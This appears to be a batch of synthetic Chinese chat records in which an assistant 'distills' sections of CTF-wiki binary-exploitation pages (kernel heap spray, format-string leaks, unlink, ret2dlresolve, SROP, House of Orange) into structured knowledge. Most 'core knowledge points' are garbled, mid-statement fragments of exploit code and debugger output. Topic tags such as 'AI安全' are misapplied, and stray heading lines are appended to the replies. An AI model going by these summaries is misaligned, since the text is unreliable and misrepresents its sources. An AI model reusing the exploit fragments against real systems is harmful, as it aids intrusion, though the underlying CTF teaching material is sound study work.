[User] 将 `docs/pwn/linux/kernel-mode/exploitation/heap/slub/spray.md` 中的章节「EXPLOIT」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/heap/slub/spray.md`
标题：Heap Spray
章节：Heap Spray > 例题：RWCTF2023体验赛 - Digging into kernel 3 > EXPLOIT
路径分类：pwn / pwn/linux/kernel-mode
分块：2/2

核心知识点：
- 本节主题围绕“EXPLOIT”展开。
- } } if (victim_key_idx == -1) { err_exit("FAILED at corrupt user_key_payload!
- i++) { if (buf[i] > kernel_base && (buf[i] & 0xfff) == 0x210) { kernel_offset = buf[i] - USER_FREE_PAYLOAD_RCU;
- } } if (kernel_offset == -1) { err_exit("FAILED to leak kernel addr!
- / construct UAF on pipe_inode_buffer to leak pipe_buffer's addr / puts("[] construct UAF on pipe_inode_info...");
- / 0->1->..., the 1 will be the payload object / alloc(0, PIPE_INODE_INFO_SZ, buf);

关键术语：
- UAF
- 堆
- AI安全
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

EXPLOIT

Heap Spray


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md` 中的章节「get system addr」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md`
标题：例子
章节：例子 > get system addr
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“get system addr”展开。
- libc = LibcSearcher('read', read_addr) libc_base = read_addr - libc.dump('read') system_addr = libc_base + libc.dump('system') log.success('system addr: ' + hex(system_addr)) log.success('read addr: ' + hex(read_addr))

关键术语：
- pwn
- linux
- user-mode
- fmtstr

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

get system addr

例子


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md` 中的章节「分析程序」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md`
标题：Unlink
章节：触发 system('/bin/sh') > 2016 ZCTF note2 > 分析程序
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“分析程序”展开。
- 仔细分析后，可以发现程序有以下几个问题 1. 在添加note时，程序会记录note对应的大小，该大小会用于控制读取note的内容，但是读取的循环变量i是无符号变量，所以比较时都会转换为无符号变量，那么当我们输入size为0时，glibc根据其规定，会分配0x20个字节，但是程序读取的内容却并不受到限制，故而会产生堆溢出。
- 所以说可以读取任意长度的数据，这里也就是后面我们溢出所使用的办法。
- 首先，我们先分析一下程序，可以看出程序的主要功能为 - 添加note，size限制为0x80，size会被记录，note指针会被记录。
- 第一个问题对应在ida中的代码如下 ``c unsigned __int64 __fastcall ReadLenChar(__int64 a1, __int64 a2, char a3) { char v4;
- } `` 其中i是unsigned类型，a2为int类型，所以两者在for循环相比较的时候，a2-1的结果-1会被视为unsigned类型，此时，即最大的整数。

关键术语：
- 边界/溢出
- 堆
- pwn
- linux
- user-mode
- heap
- code:c

代码/命令片段线索：
- c: 19 行，首行 `unsigned __int64 __fastcall ReadLenChar(__int64 a1, __int64 a2, char a3)`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

分析程序

触发 system('/bin/sh')
2016 ZCTF note2
分析程序

Unlink


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「gdb.attach(io)」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`
标题：ret2dlresolve
章节：gdb.attach(io)
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“gdb.attach(io)”展开。
- io.send(payload) io.interactive() `` 需要注意这里的 data_addr+43 为伪造的 linkmap 的地址。
- 当我们控制 linkmap 的地址位于 got 表附近时，同时我们还需要利用 link_map 的几个动态表指针，偏移从 0x68 开始。
- ` 0x600B80-->link_map 0x600BC0-->data 0x600BC8-->data+8 0x600BD0-->data+16, args of puts 0x600BE8-->data+24 ` 因此，我们可以控制的 puts 的参数的长度最大为 0x18。
- 根据之前的介绍，我们还可以伪造 l_addr 为已解析函数的地址， st_value 为已解析函数和目标函数之间的偏移。
- 执行效果如下 ` ❯ nc -l 127.0.0.1 8080 iromise ` 上面的这种方式为伪造 link_map 的 l_addr 为目标函数和已解析函数之间的偏移。

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- stackoverflow

代码/命令片段线索：
- plain: 1 行，首行 `需要注意这里的 `data_addr+43` 为伪造的 linkmap 的地址。执行效果如下`
- plain: 2 行，首行 `上面的这种方式为伪造 link_map 的 l_addr 为目标函数和已解析函数之间的偏移。`
- plain: 1 行，首行 `这里，由于 `.got.plt` 的下方没多远就是 bss 段 data 的位置。当我们控制 linkmap 的地址位于 got 表附近时，同时我们还需要利用 link_map 的几个动态表指针，偏移从 0x68 开始。因此我们需要仔...`
- plain: 1 行，首行 `因此，我们可以控制的 puts 的参数的长度最大为 0x18。`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

gdb.attach(io)

边界/溢出 栈 ROP/JOP AI安全 漏洞利用 pwn linux user-mode stackoverflow

ret2dlresolve


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-exploit.md` 中的章节「获取栈变量数值」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-exploit.md`
标题：利用
章节：利用 > 泄露内存 > 泄露栈内存 > 获取栈变量数值
路径分类：pwn / pwn/linux/user-mode
分块：2/2

核心知识点：
- 本节主题围绕“获取栈变量数值”展开。
- n+84> add esp, 0x20 ← $esp 0xffffccf0│+0x04: 0x08048563 → "%08x.%08x.%08x.%s" 0xffffccf4│+0x08: 0x00000001 0xffffccf8│+0x0c: 0x22222222 0xffffccfc│+0x10: 0xffffffff 0xffffcd00│+0x14: 0xffffcd10 → "%3$x" 0xffffcd04│+0x18: 0xffffcd10 → "%3$x" 0xffffcd08│+0x1c...

关键术语：
- 栈
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- fmtstr

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

获取栈变量数值

利用 泄露内存 泄露栈内存 获取栈变量数值

利用


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-overflow.md` 中的章节「题目分析」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-overflow.md`
标题：Cross-Cache Overflow & Page-level Heap Fengshui
章节：Cross-Cache Overflow & Page-level Heap Fengshui > 例题：corCTF2022 - cache-of-castaways > 题目分析
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“题目分析”展开。
- } ` 设备只定义了一个 ioctl，其中包含分配与编辑堆块的功能且都有锁，最多可以分配 400 个 object，没有释放功能： `c __int64 __fastcall castaway_ioctl(__int64 a1, int a2, __int64 a3) { __int64 v3;
- } ` 漏洞便存在于编辑堆块的 castaway_edit() 当中，在拷贝数据时会故意从 object + 6 的地方开始拷贝，从而存在一个 6 字节的溢出，这里因为是先拷贝到内核栈上再进行内核空间中的拷贝所以不会触发 hardened usercopy 的检查： `c __int64 __fastcall castaway_edit(unsigned __int64 a1, size_t a2, __int64 a3) { char src[512];
- } ` 编辑堆块时我们应当向内核中传入如下结构： `c struct request { int64_t index;
- 题目文件连 kconfig 都给了，笔者表示非常感动： ``shell $ tree . . ├── bzImage ├── initramfs.cpio.gz ├── kconfig └── run 0 directories, 4 files ` 启动脚本看都不用看就知道开了 SMEP、SMAP、KPTI（基本上已经是内核题标配了）： `bash #!
- _mutex_init(&castaway_lock, "&castaway_lock", &_key_28999);

关键术语：
- 边界/溢出
- 堆
- 栈
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation
- code:shell
- code:bash
- code:c

代码/命令片段线索：
- shell: 7 行，首行 `$ tree .`
- bash: 12 行，首行 `#!/bin/sh`
- c: 19 行，首行 `__int64 init_module()`
- c: 31 行，首行 `__int64 __fastcall castaway_ioctl(__int64 a1, int a2, __int64 a3)`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

题目分析

Cross-Cache Overflow & Page-level Heap Fengshui

边界/溢出 堆 栈 漏洞利用 pwn linux kernel-mode exploitation code:shell code:bash code:c


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md` 中的章节「malloc_state」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md`
标题：堆相关数据结构
章节：endif > malloc_state
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“malloc_state”展开。
- 该结构用于管理堆，记录每个 arena 当前申请的内存的具体状态，比如说是否有空闲chunk，有什么大小的空闲chunk 等等。
- 无论是 thread arena 还是 main arena，它们都只有一个 malloc state 结构。
- 注意，main arena 的 malloc_state 并不是 heap segment 的一部分，而是一个全局变量，存储在 libc.so 的数据段。
- / The remainder from the most recent split of a small request / mchunkptr last_remainder;
- Otherwise, contiguity is exploited in merging together, when possible, results from consecutive MORECORE calls.

关键术语：
- 堆
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- heap
- code:c++
- code:c

代码/命令片段线索：
- c++: 28 行，首行 `struct malloc_state {`
- c: 30 行，首行 `/*`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

malloc_state

堆 AI安全 漏洞利用 pwn linux user-mode heap code:c++ code:c

堆相关数据结构


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc-state.md` 中的章节「初始」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc-state.md`
标题：malloc_state 相关函数
章节：malloc_state 相关函数 > malloc_consolidate > 初始
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“初始”展开。
- ``c static void malloc_consolidate(mstate av) { mfastbinptr fb;
- / last fastbin (for loop control) / mchunkptr p;
- / chunk to link to / / These have same use as in free() / mchunkptr nextchunk;
- / current fastbin being consolidated / mfastbinptr maxfb;
- / current chunk being consolidated / mchunkptr nextp;

关键术语：
- 堆
- pwn
- linux
- user-mode
- heap
- code:c

代码/命令片段线索：
- c: 15 行，首行 `static void malloc_consolidate(mstate av) {`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

初始

malloc_state 相关函数


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/heap/slub/freelist.md` 中的章节「例题：RWCTF2022高校赛 - Digging into kernel 1 & 2」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/heap/slub/freelist.md`
标题：freelist 劫持
章节：freelist 劫持 > 例题：RWCTF2022高校赛 - Digging into kernel 1 & 2
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“例题：RWCTF2022高校赛 - Digging into kernel 1 & 2”展开。
- > 两道题目实际上是同一道题，因为第一题由于启动脚本漏洞所以可以直接拿 flag所以第二道题其实是对第一道题目的脚本的修复 题目附件可在 [https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/linux/kernel-mode/RWCTF2022-digging-into-kernel-2](https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/linux/kernel-mode/...

关键术语：
- 堆
- 修复/缓解
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

例题：RWCTF2022高校赛 - Digging into kernel 1 & 2

堆 修复/缓解 漏洞利用 pwn linux kernel-mode exploitation

freelist 劫持


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/defense/isolation/user-kernel/kpti.md` 中的章节「参考」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/defense/isolation/user-kernel/kpti.md`
标题：KPTI - Kernel Page Table Isolation
章节：KPTI - Kernel Page Table Isolation > 参考
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“参考”展开。
- https://github.com/pr0cf5/kernel-exploit-practice/tree/master/bypass-smep#bypassing-smepkpti-via-rop - https://outflux.net/blog/archives/2018/02/05/security-things-in-linux-v4-15/

关键术语：
- ROP/JOP
- 漏洞利用
- pwn
- linux
- kernel-mode
- defense

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

参考

ROP/JOP 漏洞利用 pwn linux kernel-mode defense

KPTI - Kernel Page Table Isolation


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/basic-rop.md` 中的章节「zer0ptr @ DESKTOP-FHEMUHT in ~/Pwn-Research/ROP/ret2shellcode/wiki [21:14:26]」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/basic-rop.md`
标题：基本 ROP
章节：zer0ptr @ DESKTOP-FHEMUHT in ~/Pwn-Research/ROP/ret2shellcode/wiki [21:14:26]
路径分类：pwn / pwn/linux/user-mode
分块：1/2

核心知识点：
- 本节主题围绕“zer0ptr @ DESKTOP-FHEMUHT in ~/Pwn-Research/ROP/ret2shellcode/wiki [21:14:26]”展开。
- } } ` 可以看出，程序仍然是基本的栈溢出漏洞，不过这次还同时将对应的字符串复制到 buf2 处。
- $ checksec ret2shellcode [] '/home/zer0ptr/Pwn-Research/ROP/ret2shellcode/wiki/ret2shellcode' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x400000) Stack: Executable RWX: Has RWX segments...
- 接下来我们再使用 IDA 对程序进行反编译： `C int __fastcall main(int argc, const char argv, const char envp) { int v3;
- } else { perror("mprotect failed");
- DATA XREF: main+51↑o .bss:00000000004040A0 ;

关键术语：
- 边界/溢出
- 堆
- 栈
- ROP/JOP
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- stackoverflow

代码/命令片段线索：
- plain: 1 行，首行 `可以看出源程序几乎没有开启任何保护，并且有可读，可写，可执行段。接下来我们再使用 IDA 对程序进行反编译：`
- plain: 1 行，首行 `可以看出，程序仍然是基本的栈溢出漏洞，不过这次还同时将对应的字符串复制到 buf2 处。简单查看可知 buf2 在 bss 段。`
- plain: 1 行，首行 `这时，我们简单的调试下程序，看看这一个 bss 段是否可执行(由于是通过mprotect来修改权限的，那自然断点下在mprotect被调用后的地址啦)。`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

zer0ptr @ DESKTOP-FHEMUHT in ~/Pwn-Research/ROP/ret2shellcode/wiki [21:14:26]

边界/溢出 堆 栈 ROP/JOP AI安全 漏洞利用 pwn linux user-mode stackoverflow

基本 ROP


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md` 中的章节「利用思路」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md`
标题：例子
章节：例子 > hijack retaddr > 例子 > 利用思路
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 利用思路如下 - 确定偏移 - 获取函数的 rbp 与返回地址 - 根据相对偏移获取存储返回地址的地址 - 将执行 system 函数调用的地址写入到存储返回地址的地址。
- 我们最终的目的是希望可以获得系统的 shell，可以发现在给定的文件中，在 0x00000000004008A6 地址处有一个直接调用system('bin/sh') 的函数（关于这个的发现，一般都会现在程序大致看一下。
- 虽然存储返回地址的内存本身是动态变化的，但是其相对于 rbp 的地址并不会改变，所以我们可以使用相对地址来计算。
- 那如果我们修改某个函数的返回地址为这个地址，那就相当于获得了 shell。

关键术语：
- 漏洞利用
- pwn
- linux
- user-mode
- fmtstr

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

利用思路

例子


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-overflow.md` 中的章节「使用 setsockopt 与 pgv 完成页级内存占位与堆风水」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-overflow.md`
标题：Cross-Cache Overflow & Page-level Heap Fengshui
章节：Cross-Cache Overflow & Page-level Heap Fengshui > Page-level Heap Fengshui > 使用 setsockopt 与 pgv 完成页级内存占位与堆风水
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“使用 setsockopt 与 pgv 完成页级内存占位与堆风水”展开。
- } ` 在 alloc_one_pg_vec_page() 中会直接调用 __get_free_pages() 向 buddy system 请求内存页，因此我们可以利用该函数进行大量的页面请求： `c static char alloc_one_pg_vec_page(unsigned long order) { char buffer;
- //... } ` 相应地， pgv 中的页面也会在 socket 被关闭后释放： `c packet_release() packet_set_ring() free_pg_vec() ` setsockopt() 也可以帮助我们完成页级堆风水，当我们耗尽 buddy system 中的 low order pages 后，我们再请求的页面便都是物理连续的，因此此时我们再进行 setsockopt() 便相当于获取到了一块近乎物理连续的内存（为什么是“近乎连续”是因为大量的 setsockopt()` 流程...
- pg_vec = kcalloc(block_nr, sizeof(struct pgv), GFP_KERNEL | __GFP_NOWARN);
- i++) { pg_vec[i].buffer = alloc_one_pg_vec_page(order);
- out_free_pgvec: free_pg_vec(pg_vec, order, block_nr);

关键术语：
- CVE
- 边界/溢出
- 堆
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation
- code:c

代码/命令片段线索：
- c: 5 行，首行 `__sys_setsockopt()`
- c: 20 行，首行 `static struct pgv *alloc_pg_vec(struct tpacket_req *req, int order)`
- c: 10 行，首行 `static char *alloc_one_pg_vec_page(unsigned long order)`
- c: 3 行，首行 `packet_release()`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

使用 setsockopt 与 pgv 完成页级内存占位与堆风水

使用 setsockopt 与 pgv 完成页级内存占位与堆风水

CVE 边界/溢出 堆 漏洞利用 pwn linux kernel-mode exploitation code:c


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/windows/kernel-mode/basic-knowledge/introduction.md` 中的章节「下层：硬件抽象层（Hardware Abstract Layer）」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/windows/kernel-mode/basic-knowledge/introduction.md`
标题：基础知识
章节：基础知识 > 二、内核态部分 > 下层：硬件抽象层（Hardware Abstract Layer）
路径分类：pwn / pwn/windows/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“下层：硬件抽象层（Hardware Abstract Layer）”展开。
- 需要注意的是 HAL 主要负责 IO 等通用资源的抽象，部分驱动的部分操作仍然是绕开 HAL 直接与硬件进行通信的。
- 硬件抽象层（Hardware Abstract Layer）负责隐藏与屏蔽底层不同硬件的各种细节，从而向上层内核提供统一的抽象硬件接口，例如 IO 接口、中断控制器等硬件行为的统一抽象。
- HAL 的目的主要是消除硬件架构间的差异，从而方便操作系统与驱动开发者为不同硬件平台编写与具体硬件架构无强相关的代码以跨平台运行，从而无需为每个硬件平台都单独编写一套针对性代码。

关键术语：
- pwn
- windows
- kernel-mode
- basic-knowledge

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

下层：硬件抽象层（Hardware Abstract Layer）

基础知识
二、内核态部分
下层：硬件抽象层（Hardware Abstract Layer）

基础知识


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop.md` 中的章节「攻击原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop.md`
标题：SROP
章节：SROP > 攻击原理
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“攻击原理”展开。
- 说到这里，其实，SROP的基本利用原理也就出现了。
- 仔细回顾一下内核在signal信号处理的过程中的工作，我们可以发现，内核主要做的工作就是为进程保存上下文，并且恢复上下文。
- 但是需要注意的是： - Signal Frame被保存在用户的地址空间中，所以用户是可以读写的。
- 由于内核与信号处理程序无关(kernel agnostic about signal handlers)，它并不会去记录这个signal对应的Signal Frame，所以当执行sigreturn系统调用时，此时的Signal Frame并不一定是之前内核为用户进程保存的Signal Frame。

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- 漏洞利用
- pwn
- linux
- user-mode
- stackoverflow

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

攻击原理

边界/溢出 栈 ROP/JOP 漏洞利用 pwn linux user-mode stackoverflow

SROP


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-orange.md` 中的章节「正确的示例」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-orange.md`
标题：House of Orange
章节：House of Orange > 正确的示例
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“正确的示例”展开。
- ` #include <stdlib.h> #define fake_size 0x1fe1 int main(void) { void ptr;
- ` 0x602000: 0x0000000000000000 0x0000000000000021 0x602010: 0x0000000000000000 0x0000000000000000 0x602020: 0x0000000000000000 0x0000000000020fe1 <== top chunk 0x602030: 0x0000000000000000 0x0000000000000000 ` 因此我们伪造的fake_size可以是0x0fe1、0x1fe1、0x2fe1、0x3fe1等...
- 我们回头来看一下assert的条件，可以发现之前列出的条目都被满足了除了第一条。
- `` 1.伪造的size必须要对齐到内存页 ` 什么是对齐到内存页呢？
- 在覆盖之前top chunk的size大小是20fe1，通过计算得知0x602020+0x20fe0=0x623000是对于0x1000（4kb）对齐的。

关键术语：
- 堆
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- heap

代码/命令片段线索：
- plain: 1 行，首行 `1.伪造的size必须要对齐到内存页`
- plain: 4 行，首行 `0x602000: 0x0000000000000000 0x0000000000000021`
- plain: 11 行，首行 `#include <stdlib.h>`
- plain: 4 行，首行 `//原有的堆`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

正确的示例

House of Orange


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md` 中的章节「漏洞利用分析」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md`
标题：堆中的 Off-By-One
章节：vim:fenc=utf-8 > 实例 2 : plaidctf 2015 plaiddb > 漏洞利用分析
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“漏洞利用分析”展开。
- 在此之后，依次释放掉 5, 3, 1, 之后利用 del 输入时候的 getline，将 3 填满，造成 off-by-one，之后将 4 free 掉进行合并（伪造 prev_size`），这样就有了一个交叉的堆结构了。
- 漏洞的位置在功能分析中已经指出来了，在 getline 当中，但是这个函数比较特殊的地方在于，它所分配的大小是逐渐增大的，通过可用大小乘二的方式增大，使用了 realloc，也就是说，我们想要触发这个漏洞，就需要满足特定大小的要求。
- 根据分配过程，满足的大小有： 0x18 0x38 0x78 0xf8 0x1f8 ... 这些大小都可以触发溢出。
- 首先 off-by-one 漏洞可以造成堆交叉，可以造成 libc 地址泄露，之后所要采用的利用方法，由于已经存在堆交叉，也就是可以形成 UAF ，可以使用 UAF 的常用方法。
- UAF 漏洞最简单的方法当然是 fastbin attack 了，所以我采用了 fastbin attack。

关键术语：
- UAF
- 边界/溢出
- 堆
- 漏洞利用
- pwn
- linux
- user-mode
- heap

代码/命令片段线索：
- plain: 9 行，首行 `+------------+`
- plain: 13 行，首行 `+------------+`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

漏洞利用分析

vim:fenc=utf-8
实例 2 : plaidctf 2015 plaiddb
漏洞利用分析

UAF 边界/溢出 堆 漏洞利用 pwn linux user-mode heap

堆中的 Off-By-One